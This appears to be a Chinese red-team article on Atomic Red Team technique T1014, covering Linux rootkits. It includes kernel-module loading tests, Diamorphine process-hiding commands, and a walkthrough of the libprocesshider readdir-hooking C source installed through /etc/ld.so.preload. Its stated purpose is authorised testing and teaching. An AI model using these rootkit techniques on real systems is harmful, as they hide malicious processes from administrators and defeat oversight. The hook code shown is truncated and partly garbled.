本文章为Atomic Red Team系列文章,本篇文章内容为T1014-Rootkit。本文的目的旨在帮助安全团队开展安全测试,发现安全问题,切勿将本文中提到的技术用作攻击行为,请切实遵守国家法律法规。
重要声明: 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。
来自ATT&CK的描述
攻击者可能会使用rootkit来隐藏程序、文件、网络连接、服务、驱动程序和其他系统组件的存在。rootkit是一种通过拦截/挂钩和修改提供系统信息的操作系统API调用来隐藏恶意软件存在的程序。(引用:赛门铁克Windows Rootkits)
rootkit或具有rootkit功能的程序可能存在于操作系统的用户层、内核层,甚至更低的层级,如管理程序、主引导记录或系统固件中。(引用:维基百科Rootkit)在Windows、Linux和Mac OS X系统中都发现过rootkit。(引用:CrowdStrike Linux Rootkit;黑帽大会Mac OSX Rootkit)
原子测试
-
原子测试#1 - 基于可加载内核模块的rootkit -
原子测试#2 - 基于可加载内核模块的rootkit -
原子测试#3 - 基于动态链接器的rootkit(libprocesshider) -
原子测试#4 - 基于可加载内核模块的rootkit(Diamorphine)
原子测试#1 - 基于可加载内核模块的rootkit
基于可加载内核模块的rootkit
- 支持的平台
Linux - 自动生成的GUID
dfb50072 - e45a - 4c75 - a17e - a484809c8553 - 输入参数
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
- 攻击命令
使用 sh
运行!需要提升权限(例如root或管理员权限)
sudo insmod #{rootkit_path}/#{rootkit_name}.ko
- 清理命令
sudo rmmod #{rootkit_name}
sudo rm -rf #{rootkit_path}
- 依赖项
使用 bash
运行! - 描述
内核模块必须存在于指定位置的磁盘上(#{rootkit_path}/#{rootkit_name}.ko) - 检查先决条件命令
if [ -f
- 获取先决条件命令
sudo apt install make
sudo apt install gcc
if [ ! -d /tmp/T1014 ]; then mkdir /tmp/T1014; fi;
cp #{rootkit_source_path}/* /tmp/T1014/
cd /tmp/T1014; make
mkdir #{rootkit_path}
mv /tmp/T1014/#{rootkit_name}.ko #{rootkit_path}/#{rootkit_name}.ko
rm -rf /tmp/T1014
原子测试#2 - 基于可加载内核模块的rootkit
基于可加载内核模块的rootkit
- 支持的平台
Linux - 自动生成的GUID
75483ef8 - f10f - 444a - bf02 - 62eb0e48db6f - 输入参数
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
- 攻击命令
使用 sh
运行!需要提升权限(例如root或管理员权限)
sudo modprobe #{rootkit_name}
- 清理命令
sudo modprobe -r #{rootkit_name}
sudo rm /lib/modules/$(uname -r)/#{rootkit_name}.ko
sudo depmod -a
- 依赖项
使用 bash
运行! - 描述
内核模块必须存在于指定位置的磁盘上(#{rootkit_source_path}/#{rootkit_name}.ko) - 检查先决条件命令
if [ -f /lib/modules/$(uname -r)/#{rootkit_name}.ko ]; then exit 0; else exit 1; fi;
- 获取先决条件命令
sudo apt install make
sudo apt install gcc
if [ ! -d /tmp/T1014 ]; then mkdir /tmp/T1014; touch /tmp/T1014/safe_to_delete; fi;
cp #{rootkit_source_path}/* /tmp/T1014
cd /tmp/T1014; make
sudo cp /tmp/T1014/#{rootkit_name}.ko /lib/modules/$(uname -r)/
[ -f /tmp/T1014/safe_to_delete ] && rm -rf /tmp/T1014
sudo depmod -a
原子测试#3 - 基于动态链接器的rootkit(libprocesshider)
使用libprocesshider通过ld.so.preload隐藏特定进程名来模拟rootkit行为(另见T1574.006)。
- 支持的平台
Linux - 自动生成的GUID
1338bf0c - fd0c - 48c0 - 9e65 - 329f18e2c0d3 - 输入参数
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
- 攻击命令
使用 sh
运行!需要提升权限(例如root或管理员权限)
echo #{library_path} | tee -a /etc/ld.so.preload
/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo "process hidden"
- 清理命令
sed -i ":^#{library_path}:d" /etc/ld.so.preload
rm -rf #{library_path} /usr/local/bin/evil_script.py /tmp/atomic
- 依赖项
使用 bash
运行! - 描述
预加载库必须存在于指定位置的磁盘上(#{library_path}) - 检查先决条件命令
if [ -f
- 获取先决条件命令
mkdir -p /tmp/atomic && cd /tmp/atomic
curl -sLO #{repo}/archive/#{rev}.zip && unzip #{rev}.zip && cd libprocesshider-#{rev}
make
cp libprocesshider.so #{library_path}
cp /usr/bin/ping /usr/local/bin/evil_script.py
ps的工作原理
像ps
这类工具利用了/proc
文件系统,我们之前的一篇文章对这个Linux结构进行了大致介绍。现在,我们用sysdig
来深入了解一下具体细节:
gianluca@sid:~$ sudo sysdig proc.name = ps
...
447463 23:54:12.077878685 2 ps (3214) > openat dirfd=AT_FDCWD name=/proc flags=1089(O_DIRECTORY|O_NONBLOCK|O_RDONLY) mode=0
447465 23:54:12.077880122 2 ps (3214) < openat fd=5(/proc)
447473 23:54:12.077887674 2 ps (3214) > getdents
447486 23:54:12.077988237 2 ps (3214) < getdents ... 452546 23:54:12.082257864 2 ps (3214) > open
452547 23:54:12.082259424 2 ps (3214) < open fd=6(/proc/3174/stat) name=/proc/3174/stat flags=1(O_RDONLY) mode=0
452548 23:54:12.082259730 2 ps (3214) > read fd=6(/proc/3174/stat) size=1024
452549 23:54:12.0822626012 ps (3214) < read res=322 data=3174 (evil_script.py) R 3089317430893481631744202496162001508347400
452550 23:54:12.082262874 2 ps (3214) > close fd=6(/proc/3174/stat)
452551 23:54:12.082262982 2 ps (3214) < close res=0
452552 23:54:12.082266445 2 ps (3214) > open
452553 23:54:12.082267682 2 ps (3214) < open fd=6(/proc/3174/status) name=/proc/3174/status flags=1(O_RDONLY) mode=0
452554 23:54:12.082268000 2 ps (3214) > read fd=6(/proc/3174/status) size=1024
452555 23:54:12.082274407 2 ps (3214) < read res=854 data=Name:.evil_script.py.State:.R (running).Tgid:.3174.Ngid:.0.Pid:.3174.PPid:.3089.
452556 23:54:12.082274624 2 ps (3214) > close fd=6(/proc/3174/status)
452557 23:54:12.082274724 2 ps (3214) < close res=0
452558 23:54:12.082276935 2 ps (3214) > open
452559 23:54:12.082278171 2 ps (3214) < open fd=6(/proc/3174/cmdline) name=/proc/3174/cmdline flags=1(O_RDONLY) mode=0
452560 23:54:12.082278466 2 ps (3214) > read fd=6(/proc/3174/cmdline) size=131072
452561 23:54:12.082280215 2 ps (3214) < read res=46 data=/usr/bin/python../evil_script.py.1.2.3.4.6666.
452562 23:54:12.082280463 2 ps (3214) > read fd=6(/proc/3174/cmdline) size=131026
452563 23:54:12.082280814 2 ps (3214) < read res=0 data=
452564 23:54:12.082281083 2 ps (3214) > close fd=6(/proc/3174/cmdline)
452565 23:54:12.082281216 2 ps (3214) < close res=0
这清楚地展示了ps
的工作原理:首先,通过openat()
系统调用打开/proc
目录。然后,该进程对打开的目录调用getdents()
,这是一个系统调用,用于返回特定目录(这里是/proc
)中包含的文件/目录列表。如果你运行过ls /proc
,就会注意到系统中每个正在运行的进程都有一个子目录,并且每个目录都以进程自身的PID命名。所以,ps
会从getdents()
获取列表,然后遍历每个子目录中的一组固定文件。从事件列表中可以看到,这些文件名为/proc/PID/status
、/proc/PID/stat
和/proc/PID/cmdline
,它们包含了ps
输出中显示的所有信息。值得注意的是(这在接下来的部分会很有用),进程本身并不会直接调用openat()
和getdents()
,因为这些是由C标准库(libc
)抽象的系统调用。如果你读过libc
的文档,就会知道libc
提供了两个不同的函数opendir()
和readdir()
,它们负责调用这些系统调用,为开发者提供了一个相对简单的API。所以,ps
直接调用的是这些函数。
隐藏进程
在简单了解了ps
的工作原理之后,很明显,如果我们想隐藏自己的进程,就需要想办法阻止这些工具访问/proc/PID/
下的相关文件。有哪些方法呢?有几种方法值得一提:
- 使用合适的框架
有很多优秀的框架,比如SELinux和Grsecurity,它们能实现很多功能,其中就包括隐藏进程。在生产系统中,我肯定会考虑使用这些框架,不过今天我想亲自动手,从零开始创造点东西,找点乐趣。 - 修改top/ps/…二进制文件
我可以获取这些工具的源代码,实现自己的“隐藏Linux进程”逻辑,重新编译,然后替换二进制文件。但这种方法效率很低,而且非常耗时。 - 修改libc
我可以修改 libc
中的readdir()
函数,加入代码来阻止访问某些/proc
文件。但是重新编译libc
是个麻烦事,更不用说libc
的代码往往很难理解。 - 在内核中修改系统调用
这是最高级的方法,通过在内核中用自定义模块直接拦截和修改 getdents()
系统调用就能实现。这确实很诱人,但今天我不打算走这条路,因为我已经非常熟悉sysdig中系统调用拦截的工作原理了,所以我想尝试点新东西。
本文提到的是一种折中的解决方案,它是“修改libc
”的一种变体,基于Linux动态链接器(负责在程序运行时加载所需各种库的组件)提供的一个巧妙特性——预加载。通过预加载,Linux允许我们在加载其他正常系统库之前,先加载一个自定义共享库。这意味着,如果自定义库导出的函数与系统库中的某个函数签名相同,我们就可以用自定义库中的代码覆盖它,而且所有进程都会自动选择我们的自定义函数!这听起来像是我问题的解决方案,因为我可以编写一个非常简单的自定义库,覆盖libc
中的readdir()
函数,并编写隐藏进程的逻辑!这个逻辑也相当简单:每次当我发现正在读取/proc/PID
目录(其中PID是名为“evil_script”的进程的PID)时,我就干净利落地阻止该访问,这样就能隐藏整个目录了!源码分析如下:
1. 头文件包含与宏定义
#define _GNU_SOURCE
启用GNU C库的扩展特性,这样可以使用一些非标准的函数和宏。 -
包含了多个标准库头文件: stdio.h
用于标准输入输出操作。 dlfcn.h
用于动态链接库的操作,如 dlsym
函数。dirent.h
用于目录操作,如 readdir
函数。string.h
用于字符串操作,如 strcmp
、strspn
等。unistd.h
包含了许多系统调用的接口,如 readlink
。
2. 过滤进程名称的定义
static const char* process_to_filter = "evil_script.py";
定义了一个常量字符串process_to_filter
,表示需要过滤掉的进程名称。在遍历/proc
目录时,所有名称为evil_script.py
的进程条目都会被过滤掉。
3. 获取目录名称的函数
staticintget_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}
buf[ret] = 0;
return 1;
}
-
该函数的作用是根据 DIR
指针dirp
获取对应的目录名称。 -
首先使用 dirfd
函数获取DIR
对象对应的文件描述符fd
。 -
然后构造一个路径 /proc/self/fd/%d
,其中%d
为文件描述符的值。 -
使用 readlink
函数读取该路径的符号链接内容,将其存储在buf
中。 -
如果操作成功,返回1;否则返回0。
4. 获取进程名称的函数
staticintget_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}
if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}
-
该函数根据进程ID( pid
)获取对应的进程名称。 -
首先检查 pid
是否为纯数字字符串,如果不是则返回0。 -
构造一个路径 /proc/%s/stat
,其中%s
为进程ID。 -
打开该文件并读取第一行内容。 -
使用 sscanf
函数从读取的内容中提取进程名称,存储在buf
中。 -
如果操作成功,返回1;否则返回0。
5. 劫持readdir
和readdir64
函数的宏定义
static struct dirent* (*original_
struct dirent* readdir(DIR *dirp)
{
if(original_
original_
if(original_
{
fprintf(stderr, "Error in dlsym: %sn", dlerror());
}
}
struct dirent* dir;
while(1)
{
dir = original_
if(dir) {
char dir_name[256];
char process_name[256];
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&
strcmp(dir_name, "/proc") == 0 &&
get_process_name(dir->d_name, process_name) &&
strcmp(process_name, process_to_filter) == 0) {
continue;
}
}
break;
}
return dir;
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
DECLARE_READDIR
是一个宏,用于定义劫持 readdir
和readdir64
函数的代码。-
对于每个被劫持的函数,首先定义一个函数指针 original_##readdir
,用于保存原始的readdir
函数地址。 -
在自定义的 readdir
函数中,首先使用dlsym
函数获取原始的readdir
函数地址。 -
然后进入一个循环,不断调用原始的 readdir
函数获取目录条目。 -
对于每个获取到的目录条目,检查其所在目录是否为 /proc
,如果是,则获取该条目对应的进程名称。 -
如果进程名称与 process_to_filter
相同,则跳过该条目,继续下一次循环。 -
最后返回过滤后的目录条目。
这段代码通过劫持readdir
和readdir64
函数,实现了在遍历/proc
目录时过滤掉特定名称进程条目的功能。这种技术通常用于隐藏特定进程,使其在系统中不可见。
代码编写完成后,我们将其编译为共享库,并安装到系统路径中:
gianluca@sid:~/libprocesshider$ make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
gianluca@sid:~/libprocesshider$ sudo
mv libprocesshider.so /usr/local/lib/
现在,我只需要告诉动态链接器实际使用它。我想在系统范围内安装它,这样系统中的每个新进程都能自动加载它。这只需将我的库路径写入一个配置文件即可完成:
root@sid:~
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
完成!从这一刻起,我启动的每个新二进制文件在通过
readdir()
遍历目录时,都会执行我的自定义代码。那么,让我们回头看看,在恶意脚本运行时,执行ps
和lsof
会发生什么:
gianluca@sid:~$ sudo ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
...
gianluca@sid:~$ sudo lsof -ni
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
...
原子测试#4 - 基于可加载内核模块的rootkit(Diamorphine)
加载Diamorphine内核模块,该模块会隐藏自身和某个进程。
- 支持的平台
Linux - 自动生成的GUID
0b996469 - 48c6 - 46e2 - 8155 - a17f8b6c2247 - 输入参数
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
- 攻击命令
使用 sh
运行!需要提升权限(例如root或管理员权限)
sudo modprobe #{rootkit_name}
ping -c 10 localhost >/dev/null & TARGETPID="$!"
ps $TARGETPID
kill -31 $TARGETPID
ps $TARGETPID || echo "process ${TARGETPID} hidden"
- 清理命令
kill -63 1
sudo modprobe -r #{rootkit_name}
sudo rm -rf /lib/modules/$(uname -r)/#{rootkit_name}.ko /tmp/atomic
sudo depmod -a
- 依赖项
使用 bash
运行! - 描述
内核模块必须存在于指定位置的磁盘上(#{rootkit_name}.ko) - 检查先决条件命令
if [ -f /lib/modules/$(uname -r)/#{rootkit_name}.ko ]; then exit 0; else exit 1; fi;
- 获取先决条件命令
mkdir -p /tmp/atomic && cd /tmp/atomic
curl -sLO #{repo}/archive/#{rev}.zip && unzip #{rev}.zip && cd Diamorphine-#{rev}
make
sudo cp #{rootkit_name}.ko /lib/modules/$(uname -r)/
sudo depmod -a
原文始发于微信公众号(网空安全手札):T1014 - rootkit
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论